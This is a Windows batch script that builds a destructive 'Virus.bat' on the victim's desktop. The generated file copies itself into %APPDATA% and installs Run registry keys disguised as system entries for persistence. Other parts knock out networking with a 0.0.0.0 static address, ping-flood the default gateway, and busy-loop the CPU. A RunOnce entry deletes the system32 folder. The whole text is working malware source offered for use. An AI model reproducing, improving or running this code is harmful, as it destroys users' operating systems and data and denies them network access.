set virname=Virus.bat
    set virdir=%APPDATA%\register32\win\
    set runstartup=1
    set restarts=11
    set computerwreck=1
    set interwebstop=1
    set errormsgs=1
    :executor
    :runstartupcheck
    if "%runstartup%"=="1" (call :restarts)
    goto :errormsgscheck

    :errormsgscheck
    if "%errormsgs%"=="1" (call :errormsgs)
    goto :interwebstopcheck

    :interwebstopcheck
    if "%interwebstop%"=="1" (call :interwebstop)
    goto interwebslowcheck

    :interwebslowcheck
    if "%interwebslow%"=="1" (call :interwebslowermake)
    goto computerslowcheck

    :computerslowcheck
    if "%computerslow%"=="1" (call :computerslowermake)
    goto computerwreckcheck

    :computerwreckcheck
    if "%computerwreck%"=="1" (call :computerwreckmake)
    echo exit >> "%userprofile%\desktop\%virname%"
    exit

    :restarts
    echo if DEFINED _restart_32 (goto restart%%_restart_32%%) ELSE (goto restart0) >> "%userprofile%\desktop\%virname%"
    echo :restart0 >> "%userprofile%\desktop\%virname%"
    echo setx _restart_32 1 >> "%userprofile%\desktop\%virname%"
    echo mkdir "%virdir%\" >> "%userprofile%\desktop\%virname%"
    echo copy %~dp0%virname%.bat %virdir%\%virname% >> "%userprofile%\desktop\%virname%"
    echo reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v kernel_32 /d %virdir%\%virname%) >> "%userprofile%\desktop\%virname%"
    echo exit >> "%userprofile%\desktop\%virname%"
    setlocal ENABLEDELAYEDEXPANSION
    set runstartup=0
    for /l %%g in (1,1,%restarts%) DO (
    echo :restart%%g >> "%userprofile%\desktop\%virname%"
    set /a temprestart=%%g + 1
    echo setx _restart_32 !temprestart! >> "%userprofile%\desktop\%virname%"
    if not %%g==%restarts% (echo exit >> "%userprofile%\desktop\%virname%"))

    :errormsgs
    set errormsgs=0
    echo copy "\sys32\defrag.vbs" "%APPDATA%\Register\win\%errormsgname%.vbs" >> "%userprofile%\desktop\%virname%"
    echo reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /d "%APPDATA%\register32\win\updateKB046537.vbs" >> "%userprofile%\desktop\%virname%"
    goto:eof

    :interwebstop
    set interwebstop=0
    (echo netsh interface ip set address name="Local Area Connection" static 0.0.0.0 0.0.0.0 0.0.0.0 1 >> "%userprofile%\desktop\%virname%"
    goto:eof)

    :interwebslowermake
    set interwebsslower=0
    (echo "@For /f "tokens=3" %%i in ('route.exe print ^|findstr ""\<0.0.0.0\>""') Do @Set ""DefaultGateway=%%i""" >> "%userprofile%\desktop\%virname%"
    echo if errorlevel==0 (ping -t -l 4000 %DefaultGateway%) >> "%userprofile%\desktop\%virname%"
    goto:eof)

    :computerslowermake
    set computerslower=0
    (echo for /l %%g in (1,0,2) DO echo. >> "%userprofile%\desktop\%virname%"
    goto:eof)

    :computerwreckmake
    set computerwreck=0
    (echo reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v sysrepair /d cmd /k "del /f /q %systemroot%\system32" >> "%userprofile%\desktop\%virname%"
    goto:eof)